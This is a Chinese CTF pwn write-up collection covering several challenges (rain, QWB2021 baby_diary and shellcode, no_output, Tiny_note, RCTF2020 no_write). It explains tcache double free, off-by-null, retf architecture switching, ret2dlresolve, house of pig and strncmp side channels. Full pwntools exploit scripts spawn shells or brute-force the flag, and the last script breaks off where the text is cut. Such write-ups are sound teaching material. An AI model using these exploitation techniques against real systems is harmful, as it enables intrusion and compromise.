就是重新设置结构体的各项信息,注意到
1 v7 = (uint8_t *)realloc (a1->unknow1, v6 - 18 );
1 void *realloc (void *ptr, size_t size)
当size为0时,即v6-18为0,realloc就相当于free的功能;而当size大于ptr指向chunk的size时,就会另外申请一块chunk,再将原有的chunk free掉。
config函数使用read函数读取的前18字节用于设置rain的各项参数,18字节之后用于设置table的字符集。
将config函数封装一下:
1 2 3 4 5 6 def config (heigh, width, front_color, back_color, rainfall, content ): io.sendlineafter('ch> ' , '1' ) payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall) payload = payload.ljust(18 , 'a' ) payload += content io.sendafter('FRAME> ' , payload)
PrintInfo功能就是调用sub_400E17进行输出,注意这里
可以利用这里来泄露libc地址。
最后一个Raining函数,其实就是执行功能,满屏下雨,但当执行完raining之后
rain执行完之后,会重新进行初始化。
整个利用思路就是,我们利用config功能先申请一个0x50的,chunk,然后realloc(v7,0)将其free,由于这道题目的libc版本存在tcache且不存在double free的检测,所以可以直接double free,然后rain一下就会重新初始化,从double free中的两个0x50的chunk中取出一个,接着我们调用config申请一个0x50的chunk,这样就会将double free中剩下的一个chunk取出来,实际上,初始化申请的chunk和我们用config申请的chunk是同一块chunk,然后
config功能会从buf[18]开始,将之后的数据拷贝到v7中,而此时的v7和a1实际上是同一块chunk,所以从buf[18]开始的数据都会被存入a1中。后面会将userchunk,table1,table2都进行赋值,所以这三个指针我们无法控制。但在show函数中
如果userchunk存在且userchunk指向的内存有值,才会输出userchunk的内容,否则就会输出table3的内容,我们只需要构造出userchunk指向的内存开头全为空字符,并将table3设置为某个函数的got表地址,就能够通过show功能得到libc地址。
由于userchunk会指向rain这个结构体,所以我们只需要使buf[18]开头为空字符即可,然后将table3设置为atoi的got表地址,跟着show一下,就可以得到atoi的libc地址。
libc地址到手之后就可以计算出onegadget的地址,由于这个程序的show功能调用的是rain结构体中的函数指针,因此我们只需要将这个函数指针修改为onegadget的地址,再show就可以getshell。由于config申请chunk时用的是realloc函数
如果我们申请的chunk和a1->userchunk指向的chunk大小相当的话,就不会再申请新的chunk。所以我们只需要构造好payload,将show指针修改为onegadget,并且payload大小为0x40到0x48之间,就会重新对a1->userchunk进行赋值。
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from symtable import Symbolfrom pwn import *context.log_level='debug' io=process('./rain' ) elf=ELF('./rain' ) libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.2_amd64/libc-2.27.so' ) def config (heigh, width, front_color, back_color, rainfall, content ): io.sendlineafter('ch> ' , '1' ) payload = p32(heigh) + p32(width) + p8(front_color) + p8(back_color) + p32(rainfall) payload=payload.ljust(18 ,'\x00' ) payload += content io.sendafter('FRAME> ' , payload) def show (): io.sendafter('ch> ' , '2' ) def raining (): io.sendafter('ch> ' , '3' ) config(0x50 ,0x50 ,1 ,2 ,64 ,'a' *0x48 ) config(0x50 ,0x50 ,1 ,2 ,64 ,'' ) config(0x50 ,0x50 ,1 ,2 ,64 ,'' ) raining() payload=p32(0 )*2 +p64(0x102 )+p64(elf.got['atoi' ])*2 +p32(0x64 )+p32(0xc350 )+p64(0x400e17 )+p64(elf.got['atoi' ])*2 payload=payload.ljust(0x48 ,'a' ) config(0x50 ,0x50 ,1 ,2 ,64 ,payload) gdb.attach(io) show() libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-libc.symbols['atoi' ] onegadget=libc_base+0x10a45c payload=p32(0 )*2 +p64(0x102 )+p64(elf.got['atoi' ])*2 +p32(0x64 )+p32(0xc350 )+p64(onegadget)+p64(elf.got['atoi' ])*2 payload=payload.ljust(0x48 ,'a' ) config(0x50 ,0x50 ,1 ,2 ,64 ,payload) show() io.interactive() ''' 0x4f365 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f3c2 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a45c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
0x8.QWB2021 baby_diary【off-by-null】 一共三个功能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 void add () { signed int chunknum; int num; int readnum; for ( chunknum = 0 ; chunknum <= 24 && chunklists[chunknum]; ++chunknum ) ; if ( chunknum <= 24 ) { printf ("size: " ); num = read_num(); chunklists[chunknum] = malloc (num + 1 ); if ( chunklists[chunknum] ) { printf ("content: " ); readnum = readstr(chunklists[chunknum], num, 10 ); addchecknum(chunknum, readnum); } } }
add功能能申请25个chunk,并且大小没有限制,需要注意的是,malloc的size是num+1,readstr函数存在会将输入的数据后面添加\x00,进行截断,由于num的原因,readstr并不会直接造成off-by-null,addchecknum函数才是导致off-by-null的真正原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void __fastcall sub_1528 (unsigned int chunknum, int readnum) { char *chunkptr; if ( chunknum <= 0x18 && chunklists[chunknum] ) { chunkptr = chunklists[chunknum]; readsize[chunknum] = readnum; if ( readnum ) chunkptr[readnum + 1 ] = (chunkptr[readnum + 1 ] & 0xF0 ) + sub_146E(chunknum); } } __int64 __fastcall sub_146E (unsigned int chunknum) { int i; unsigned int v3; if ( chunknum > 0x18 || !chunklists[chunknum] ) return 0xFFFFFFFF LL; v3 = 0 ; for ( i = 0 ; i < readsize[chunknum]; ++i ) v3 += (unsigned __int8)chunklists[chunknum][i]; while ( v3 > 0xF ) v3 = (v3 >> 4 ) + (v3 & 0xF ); return v3; }
这个函数会在空字符的后面再追加一个校验码,当输入的数据全为空字符时,校验码为(chunkptr[readnum + 1] & 0xF0)
,会导致off-by-null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int show () { int result; int num; printf ("index: " ); num = read_num(); result = !sub_15DF(num); if ( !(_BYTE)result ) return printf ("content: %s\n" , chunklists[num]); return result; } _BOOL8 __fastcall sub_15DF (signed int num) { char v2; int size; if ( num > 24 || !chunklists[num] ) return 0LL ; size = readsize[num]; if ( !size ) return 0LL ; v2 = chunklists[num][size + 1 ]; return ((v2 - (unsigned __int8)sub_146E(num)) & 1 ) == 0 ; } __int64 __fastcall sub_146E (unsigned int chunknum) { int i; unsigned int v3; if ( chunknum > 0x18 || !chunklists[chunknum] ) return 0xFFFFFFFF LL; v3 = 0 ; for ( i = 0 ; i < readsize[chunknum]; ++i ) v3 += (unsigned __int8)chunklists[chunknum][i]; while ( v3 > 0xF ) v3 = (v3 >> 4 ) + (v3 & 0xF ); return v3; }
show功能在输出之前,会有一个检查,检查通过才输出。
dele功能正常。
这题是off-by-null的另一种考查方式,对于堆风水的构造要求更高。
高版本的off-by-null是利用smallbin和largebin的残留指针构造出fakechunk->fd->bk==fakechunk,fakechunk->bk->fd==fakechunk,来绕过unlink的检查。一般的off-by-null只会在末尾加\x00,但这一题除了末尾添\x00外,还会添一个校验码
下面是一般情况下的off-by-null的构造方式的开头
1 2 3 4 5 6 7 8 9 10 11 12 for i in range (7 ): add(0x28 ,'chunk_' + str (64 +i) + 'n' ) add(0x5a8 ,'pad' ) add(0x5e0 ,'chunk_72' + 'n' ) add(0x18 ,'chunk_73' + 'n' ) delete(72 ) add(0x618 ,'chunk_72' + 'n' ) add(0x28 ,'a' *8 +p64(0xe1 )+p8(0x90 )) ....
并且fakechunk的size也只能为0x100的整数倍
伪造好的整体结构如下
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context.log_level='debug' global ioelf=ELF('./baby_diary' ) libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9_amd64/libc-2.31.so' ) def add (size,content ): io.recvuntil('>> ' ) io.sendline('1' ) io.recvuntil('size: ' ) io.sendline(str (size-1 )) io.recvuntil('content: ' ) io.sendline(content) def show (index ): io.recvuntil('>> ' ) io.sendline('2' ) io.recvuntil('index: ' ) io.sendline(str (index)) def dele (index ): io.recvuntil('>> ' ) io.sendline('3' ) io.recvuntil('index: ' ) io.sendline(str (index)) def pwn (): for i in range (7 ): add(0x38 ,'a' ) add(0x898 ,'pad' ) add(0x6f8 ,'a' ) add(0x18 ,'a' ) dele(8 ) add(0x700 ,'a' ) add(0x38 ,'' ) add(0x38 ,'aaaa' ) add(0x38 ,'aaaa' ) add(0x48 ,'' ) add(0x38 ,'' ) add(0x38 ,'' ) add(0x38 ,'' ) add(0x38 ,'' ) for i in range (7 ): dele(i) dele(10 ) dele(14 ) for i in range (7 ): add(0x38 ,'' ) add(0x458 ,'' ) add(0x38 ,p64(0xd0 )) add(0x38 ,'' ) for i in range (7 ): dele(i) dele(18 ) for i in range (7 ): add(0x38 ,'' ) add(0x400 ,'' ) add(0x38 ,p64(0xb )+p64(0x201 )) for i in range (7 ): dele(i) dele(12 ) dele(19 ) for i in range (7 ): add(0x38 ,'' ) add(0x38 ,'' ) add(0x38 ,'' ) dele(17 ) add(0x38 ,p8(0 )*0x37 ) dele(17 ) add(0x38 ,p8(0 )*0x2f +p8(0x20 )) dele(10 ) add(0x28 ,'' ) show(11 ) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x1ebbe0 free_hook=libc_base+libc.symbols['__free_hook' ] system_addr=libc_base+libc.symbols['system' ] log.success('libc_base => {}' .format (hex (libc_base))) dele(0 ) dele(19 ) add(0x78 ,'a' *0x38 +p64(0x41 )+p64(free_hook-8 )) add(0x38 ,'a' ) add(0x38 ,'/bin/sh\x00' +p64(system_addr)) dele(20 ) io.interactive() if __name__ == '__main__' : io=process('./baby_diary' ) pwn()
0x9.QWB2021 shellcode【retf切换架构,侧信道爆破flag】 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void __noreturn start () { ...... v45 = 2147418112 ; LOWORD(arg3[0 ]) = 9 ; arg3[1 ] = (unsigned __int64)&v10; v0 = sys_alarm(0x3C u); v1 = sys_prctl(38 , 1uLL , 0LL , 0LL ); v3 = sys_prctl(22 , 2uLL , (unsigned __int64)arg3, v2); v4 = (char *)sys_mmap(0LL , 0x1000 uLL, 7uLL , 0x22 uLL, 0xFFFFFFFF uLL, 0LL ); v5 = sys_read(0 , v4, 0x1000 uLL); v6 = v5; if ( v4[(int )v5 - 1 ] == 10 ) { v4[(int )v5 - 1 ] = 0 ; v6 = v5 - 1 ; } for ( i = 0 ; i < v6; ++i ) { if ( v4[i] <= 31 || v4[i] == '\x7F' ) goto LABEL_10; } ((void (*)(void ))v4)(); LABEL_10: v8 = sys_exit_group(0 ); }
开了沙箱,然后读取shellcode,shellcode必须是可见字符。
查看沙箱
1 2 3 4 5 6 7 8 9 10 11 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008 0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008 0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007 0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008 0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008 0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
并没有限制架构,orw只有r。
fstat在64位下的调用号位5,而32位下系统调用号5是open,这样orw就只剩w没有了
蓝帽杯有一道题目考察的是shellcode盲注,也是没有w,通过盲注将flag爆破出来,这个思路也同样适用于本题,这样一来orw就都凑齐了
再有就是,从64位切换到32位需要使用retf这个指令,这个指令会跳转到[rsp]继续执行指令,将[rsp+8]放到CS寄存器,[rsp+8]为0x23时,切换到32位,为0x33时,切换到64位,整体思路为:
1.发送第一段shellcode,这段shellcode首先实现mmap功能,开辟一段内存方便64位和32位shellcode同时操作;然后实现read功能,用来读取第二段shellcode到mmap出来的内存中;最后执行retf指令切换到32位模式,并跳转到mmap出的那块内存执行第二段shellcode。
2.第二段shellcode在32位模式下执行,首先执行open系统调用,打开flag文件,然后执行retf指令,切换为64位模式,并跳转到一个地址执行剩下的shellcode,这个地址需要事先计算好;跳转过去之后执行的shellcode,执行read调用,将flag的值读取到栈顶,最后进入一个爆破shellcode,按字节爆破flag。
第一段shellcode需要为可见字符串,可以使用ae64或者alpha3来进行编码,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 from pwn import *from ae64 import AE64context.log_level='debug' def pwn (io,idx,chr ): shellcode_mmap=''' /*mmap(0x20000,0x1000,7,34,0,0)*/ mov r9d, 0 mov r8d, 0xFFFFFFFF mov r10d, 0x22 mov edx, 7 mov esi, 0x1000 mov edi, 0x20000 mov eax, 9 syscall ''' shellcode_read=''' /*read(0,0x20000,0x70)*/ push 0x20000 pop rsi push 0x70 pop rdx xor rdi,rdi xor rax,rax syscall ''' shellcode_read_flag_x64=''' mov rdi,rax xor rax,rax mov rsi,rsp mov rdx,0x30 syscall brute: mov al,[rsp+%d] cmp al,%d jnz die jmp brute die: mov al,[0] ''' %(idx,chr ) shellcode_retfq_to_x86=''' mov rax, 0x2300020000 push rax retf ''' shellcode_retfa_to_x64=''' push 0x33 push 0x20030 retf ''' shellcode_open_x86=''' mov esp,0x200a0 /*open("flag",0)*/ push 0x67616c66 mov ebx, esp xor ecx,ecx xor edx,edx mov eax,0x5 int 0x80 ''' shellcode=shellcode_mmap+shellcode_read+shellcode_retfq_to_x86 shellcode=asm(shellcode,arch='amd64' ,os='linux' ) shellcode_x86=shellcode_open_x86+shellcode_retfa_to_x64 shellcode_x86=asm(shellcode_x86) shellcode_x86=shellcode_x86.ljust(0x30 ,'\x90' ) shellcode_x86+=asm(shellcode_read_flag_x64,arch='amd64' ) encshellcode=AE64().encode(shellcode,'rbx' ) try : io.sendline(encshellcode) sleep(0.1 ) io.send(shellcode_x86) io.recv(timeout=1 ) return True except : io.close() return False flag = '' while len (flag)<0x30 : for C in range (0x20 , 0x7F ): io=process('./shellcode' ) if (pwn(io, len (flag), C)): flag+=chr (C) print (flag) break ''' flag = "flag" hex_flag = "" hex_sh = "" for i in flag[::-1]: hex_flag += str(hex(ord(i))) for i in binsh[::-1]: hex_sh += str(hex(ord(i))) hex_flag = "0x"+hex_flag.replace("0x","") '''
0xA.QWB2021 no_output【浮点异常触发,ret2dlresolve】 1 2 3 4 5 6 7 8 9 10 11 int sub_804930B () { int result; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); result = open("real_flag.txt" , 1 ); flag_fd = result; return result; }
先初始化,打开flag文件
然后往buf中读入0x30的数据,往src中读入0x20的数据,将src的数据拷贝到dest中
dest的大小也为0x20,并且紧邻着flag_fd。
strcpy之后,就会从flag_fd中往src中读入0x20的数据
之后程序会比较src是否为hello_boy,不为hello_boy的话就退出。这里就需要通过strcpy将flag_fd覆盖为0,是我们能够往src中写入数据。
signal的handler函数是一个栈溢出函数,信号量8代表着浮点异常,通常无穷大除0可以触发浮点异常,不过这里除数不能为0,所以采用无穷小除负一来触发。触发之后进入一个很大的栈溢出
1 2 3 4 5 6 ssize_t sub_8049236 () { char buf[68 ]; return read(0 , buf, 0x100 u); }
如题目所说,这题没有输出函数,所以使用ret2dlresolve。
pwntools很贴心的为我们准备好了ret2dl的构造模板,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.log_level='debug' context.arch='i386' io=process('./test' ) elf=ELF('./test' ) rop=ROP('./test' ) io.send('\x00' *0x10 ) sleep(0.1 ) io.send('a' *0x20 ) sleep(0.1 ) io.send('hello_boy' ) io.sendline('-2147483648' ) sleep(0.1 ) io.sendline('-1' ) dl_resolve=Ret2dlresolvePayload(elf,symbol="system" ,args=['/bin/sh' ]) rop.read(0 ,dl_resolve.data_addr) rop.ret2dlresolve(dl_resolve) info(rop.dump()) sleep(0.1 ) io.send(fit({0x4c :rop.chain(),0x100 :dl_resolve.payload})) io.interactive()
0xB.西湖论剑2021 Tiny_note 【UAF,tcache_perthread_struct控制,fastbin_reverse_into_tcache任意地址写,house of pig】 很牛逼的一题
开了沙箱,四个功能
1 2 3 4 5 6 7 8 9 10 unsigned __int64 __fastcall sub_141E (size_t a1) { unsigned __int64 v2; v2 = (unsigned __int64)malloc (a1); if ( (v2 & 0xFFFFFFFFFFFFF000 LL) == unk_4038 ) return v2; else return 0LL ; }
add功能只允许申请0x10的chunk,而且只能申请序号为0到2的chunk(但这并不影响我们的利用,因为并不会检测序号是否已经使用,所以同一个序号能够申请任意数量的chunk)并且限制了申请到的堆地址在一页内,也就是说不能通过add功能申请到malloc_hook,free_hook或是其他一些常用的内存。
show功能通过write将chunk的内容输出来。
edit功能对chunk内容进行修改。
dele功能存在UAF漏洞。
这题无法任意地址分配,就只能用任意地址写来利用IO_FILE。通常我们的任意地址写是利用largebin attack或者smallbin attack来实现的,而这题只能申请0x20的chunk,该如何利用这么小的堆块实现任意地址写?
高版本libc有一个stash机制,就是当tcache没满并且fastbin有chunk时,从fastbin中取出一个chunk后,会将fastbin中剩下的chunk逆序放入tcache中,这种利用方法又叫做fastbin_reverse_into_tcache,一般是用来解除fastbin分配的地址限制。但除了能够达成任意内存申请的作用外,fastbin_reverse_into_tcache还能往任意内存中写入一个地址。
假设fastbin中存在这样一条链:chunk0->chunk1->chunk2->victim。tcache为空,当我们从fastbin中取出chunk0时,剩余的chunk就会被链入tcache中,变成如下所示:
tcache:victim->chunk2->chunk1.
也就是victim的fd指针会被设置为chunk2的地址(注意,libc2.32以上fd指针是加密的),bk指针会被写为tcache_struct的地址。也就是说,如果victim的地址为target,那么stash之后,target+0x10处就会被写入一个加密的堆地址 ,target+0x18处就会写入一个正常的堆地址,这样也就实现了一个任意地址写一个堆地址。剩下的就是打IO_FILE了。
整体思路为:
1.先通过uaf泄露堆地址,再通过uaf改大chunksize,得到libc地址。
2.通过uaf控制tcache_perthread_struct结构体,由于chunk大小只有0x10,所以我们要控制0x10的tcache的链表头和数量就需要两次uaf,分别控制链表头和链表数量。
3.由于高版本的libc下tcache的fd指针会被加密,所以不能用fd指针来任意地址写,只能用bk指针。但高版本的libc下tcache的写入需要0x10对齐,所以没办法直接往io_list_all中写入bk。io_list_all没法写,可以往chain中写,chain在IO_FILE中的偏移为0x68,io_list_all指向的是stderr的FILE结构体
1 2 pwndbg> p _IO_list_all $2 = (struct _IO_FILE_plus *) 0x7ffff7fb85e0 <_IO_2_1_stderr_>
将stderr结构体的chain修改为tcache_perthread_struct的地址,然后我们在tcache_perthread_struct中构造好FILE结构体的各项数据。
在这一步中使用fastbin_reverse_into_tcache,利用UAF将fastbin的最后一个chunk修改为&io_list_all+0x70,这样fastbin_reverse_into_tcache之后就会将stderr的chain修改为tcache_perthread_struct的地址。
4.house of pig。house of pig会申请一个chunk,这个chunk的大小为2*((fp)->_IO_buf_end - (fp)->_IO_buf_base)+ 100
,至少为100,申请到这个chunk之后,如果_IO_buf_base
指向的区域有数据,还会将这些数据拷贝到新的chunk中。确定好了要申请的chunk的大小后,修改tcache_perthread_struct中对应的tcache链表头为free_hook,然后再进行一些必要的设置,比如orw链的构造等等。
5.通过改小topchuhnk的size,并且将previnuse位置0,然后申请一个大于topchunk的size,触发io_str_overflow,进行house of pig
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 from pwn import *context.log_level='debug' io=process('./TinyNote' ) libc=ELF('./libc-2.33.so' ) def add (index ): io.recvuntil('Choice:' ) io.send('1' ) io.recvuntil('Index:' ) io.send(str (index)) def edit (index,content ): io.recvuntil('Choice:' ) io.send('2' ) io.recvuntil('Index:' ) io.send(str (index)) io.recvuntil('Content:' ) io.send(content) def show (index ): io.recvuntil('Choice:' ) io.send('3' ) io.recvuntil('Index:' ) io.send(str (index)) def dele (index ): io.recvuntil('Choice:' ) io.send('4' ) io.recvuntil('Index:' ) io.send(str (index)) add(0 ) add(1 ) dele(0 ) show(0 ) io.recvuntil('Content:' ) heap_base=u64(io.recv(5 ).ljust(8 ,'\x00' )) heap_base=heap_base<<12 log.success('heap_base => {}' .format (hex (heap_base))) dele(1 ) heap_addr=heap_base+0x2b0 payload=heap_addr^(heap_base>>12 ) edit(1 ,p64(payload)) add(1 ) add(0 ) edit(0 ,p64(0 )+p64(0x421 )) for i in range (0x21 ): add(0 ) dele(1 ) show(1 ) libc_base=u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x1e0c00 log.success('libc_base => {}' .format (hex (libc_base))) io_list_all_addr=libc_base+0x1e15c0 free_hook=libc_base+libc.symbols['__free_hook' ] setcontext_addr=libc_base+libc.symbols['setcontext' ] io_str_jumps_addr=libc_base+0x1e2560 pop_rsi=libc_base+0x000000000002a4cf pop_rdi=libc_base+0x0000000000028a55 pop_rdx=libc_base+0x00000000000c7f32 ret=libc_base+0x0000000000026699 pcop=libc_base+0x14a0a0 open_addr=libc_base+libc.symbols['open' ] read_addr=libc_base+libc.symbols['read' ] write_addr=libc_base+libc.symbols['write' ] add(1 ) add(0 ) dele(0 ) dele(1 ) heap_addr=heap_base+0x10 payload=(heap_addr^((heap_base+0x2e0 )>>12 )) edit(1 ,p64(payload)) add(0 ) add(0 ) edit(0 ,p8(0 )) add(1 ) add(2 ) dele(1 ) edit(0 ,p8(2 )) heap_addr=heap_base+0x90 payload=(heap_addr^((heap_base+0x300 )>>12 )) edit(1 ,p64(payload)) add(1 ) add(1 ) for i in range (8 ): edit(0 ,p64(0 )) add(2 ) edit(0 ,p64(i)) dele(2 ) payload=((io_list_all_addr+0x70 )^((heap_base+0x410 )>>12 )) edit(2 ,p64(payload)) for i in range (6 ): add(2 ) edit(0 ,p64(7 )) dele(2 ) edit(0 ,p64(6 -i)) edit(0 ,p64(0 )) edit(1 ,p64(io_list_all_addr>>12 )) add(2 ) gdb.attach(io) def change (addr,content ): edit(0 ,p64(1 )) edit(1 ,p64(addr)) add(2 ) edit(2 ,content) length=0x2a0 start=heap_base+0x6c0 end = start + ((length) - 100 )//2 change(heap_base+0x30 ,p64(1 )+p64(heap_base+0x440 )) change(heap_base+0x40 ,p64(0 )+p64(start)) change(heap_base+0x50 ,p64(end)) change(heap_base+0x60 ,p64(0x10000 )) change(heap_base+0xd0 ,p64(0 )) change(heap_base+0xe0 ,p64(0 )+p64(io_str_jumps_addr)) change(heap_base+0x1d0 ,p64(0 )+p64(free_hook)) change(heap_base+0x6c0 ,p64(pcop)+p64(heap_base+0x440 -0x20 )) change(heap_base+0x440 ,p64(setcontext_addr+61 )) change(heap_base+0x420 +0xa0 ,p64(heap_base+0x4f0 )+p64(ret)) change(heap_base+0x4f0 ,p64(pop_rdi)+p64(heap_base+0x6a0 )) change(heap_base+0x500 ,p64(pop_rsi)+p64(0 )) change(heap_base+0x510 ,p64(open_addr)+p64(pop_rdi)) change(heap_base+0x520 ,p64(3 )+p64(pop_rsi)) change(heap_base+0x530 ,p64(heap_base+0x2a0 )+p64(pop_rdx)) change(heap_base+0x540 ,p64(0x30 )+p64(read_addr)) change(heap_base+0x550 ,p64(pop_rdi)+p64(1 )) change(heap_base+0x560 ,p64(pop_rsi)+p64(heap_base+0x2a0 )) change(heap_base+0x570 ,p64(write_addr)) change(heap_base+0x6a0 ,'./flag' ) edit(1 ,p64(free_hook)) edit(0 ,p64(1 )) add(2 ) io.interactive()
0xC.RCTF2020 no_write【magic_gadget,ret2csu,__strncmp_sse42进行侧信道爆破flag】 1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[16 ]; init(); read_n(v4, 256LL ); return 0 ; }
开了沙箱,不能getshell,有一个很大的溢出,没有任何输出函数
让人受益良多的一道题,pwn题的盲注。
首先,64位栈题下,永远不要忘了ret2csu(即万能gadget),这题的各种函数调用大都是通过ret2csu构造出来的。其次,__libc_start_main会在函数栈中写入initial和exit_funcs_lock的地址,如下图
第三,利用一些magic_gadget,可以达成任意地址构造出任意值,这道题的magic_gadget如下
1 2 3 0x4005e8 <__do_global_dtors_aux+24>: add DWORD PTR [rbp-0x3d],ebx 0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0] 0x4005f0 <__do_global_dtors_aux+32>: repz ret
构造好rbp和rbp的值就能构造出任意值。
第四,如何得到flag。作为一个orw题目肯定需要open的,但此题不能泄露libc地址,该如何open?libc_start_main已经在栈上遗留下了libc地址,我们可以计算出syscall_ret的地址和其中一个libc地址的偏移量,再利用magic_gadget将这个偏移量加上去,那么栈中就有了syscall_ret的地址,我们直接系统调用open来打开flag,rax的构造就使用read函数,read的返回值就是存在rax中的,读入多少字符rax就为多少。open和read都有了,w是无论如何都出不来的,因为在沙箱里面只允许open和write系统调用。
怎么替代w,这里就可以像sql注入里的盲注一样,用strncmp来逐字节比较真实的flag和我们猜测的flag。实际上,strncmp调用的是__strncmp_sse42
函数,我们需要构造出这个函数的地址,构造方法还是和构造syscall的方法一样。
有了比较函数,接下来还有一个问题,该如何得到比较结果?strncmp比较前n个字符是否一致,实际上也是从第一个字节开始逐字节比较
在本题中,bss段到0x602000就结束了,从0x602000开始往后就是未映射内存,无法访问,访问就会报错。基于这个前提,我们可以把需要比较的字符放在0x601fff处,然后用__strncmp_sse42
一次比较两个字符,如果0x601fff处的字符和flag相同的话,就会继续比较0x602000处的字符和flag的下一个字符是否相同,但0x602000是无法访问的,此时程序就直接报错了,因此,可以从程序是否报错了来判断字符是否和flag相同。
整体思路为:栈迁移到bss段,在bss段中重启libc_start_main,在栈上得到libc地址,运用magic_gadget得到syscall和__strncmp_sse42的地址,再用open将rax设置为2,ret2csu系统调用open,随后将flag读取到bss段的某个位置,最后调用strncmp进行比较。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *import stringelf=ELF('./no_write' ) csu_pop=0x40076a leave_ret=0x000000000040067c call_libc_start_main=0x0000000000400544 pop_rdi=0x0000000000400773 pop_rsi_r15=0x0000000000400771 read_n=elf.symbols['read_n' ] magic_gadget=0x4005e8 offset_init2strncmp=0x267600 offset_exit_funcs_lock2syscall=0x31dc53 def ret_csu (func,arg1,arg2,arg3 ): payload=p64(0 )+p64(1 )+p64(func) payload+=p64(arg1)+p64(arg2)+p64(arg3) payload+=p64(0x400750 )+p64(0 ) return payload def main (): flag='' for i in range (0x30 ): for j in '}{_' +string.digits+string.ascii_letters: try : io=process('./no_write' ) payload='a' *0x18 +p64(csu_pop)+ret_csu(elf.got['read' ],0 ,0x601350 ,0x400 ) payload+=p64(0 )+p64(0x6013f8 )+p64(0 )*4 +p64(leave_ret) payload=payload.ljust(0x100 ,'\x00' ) io.send(payload) payload='\x00' *(0x100 -0x50 ) payload+=p64(pop_rdi)+p64(read_n)+p64(call_libc_start_main) payload=payload.ljust(0x400 ,'\x00' ) sleep(0.1 ) io.send(payload) payload=p64(csu_pop)+p64(0x100000000 -offset_init2strncmp)+p64(0x601318 +0x3d )+p64(0 )*4 +p64(magic_gadget) payload+=p64(csu_pop)+p64(0x100000000 -offset_exit_funcs_lock2syscall)+p64(0x601310 +0x3d )+p64(0 )*4 +p64(magic_gadget) payload+=p64(csu_pop)+ret_csu(elf.got['read' ],0 ,0x601800 ,2 )+p64(0 )*6 payload+=p64(csu_pop)+ret_csu(0x601310 ,0x601350 +0x3f8 ,0 ,0 )+p64(0 )*6 payload+=p64(csu_pop)+ret_csu(elf.got['read' ],3 ,0x601800 ,0x30 )+p64(0 )*6 payload+=p64(csu_pop)+ret_csu(elf.got['read' ],0 ,0x601ff8 ,8 )+p64(0 )*6 payload+=p64(csu_pop)+ret_csu(0x601318 ,0x601800 +i,0x601fff ,2 )+p64(0 )*6 payload+=p64(pop_rdi)+p64(0x601700 )+p64(pop_rsi_r15)+p64(0x100 )+p64(0 )+p64(read_n) payload=payload.ljust(0x3f8 ,'\x00' ) payload+='flag' .ljust(8 ,'\x00' ) sleep(0.1 ) io.send(payload) sleep(0.1 ) io.send('aa' ) sleep(0.1 ) io.send('a' *7 +j) sleep(0.1 ) io.recv(timeout=0.5 ) io.send('a' *0x100 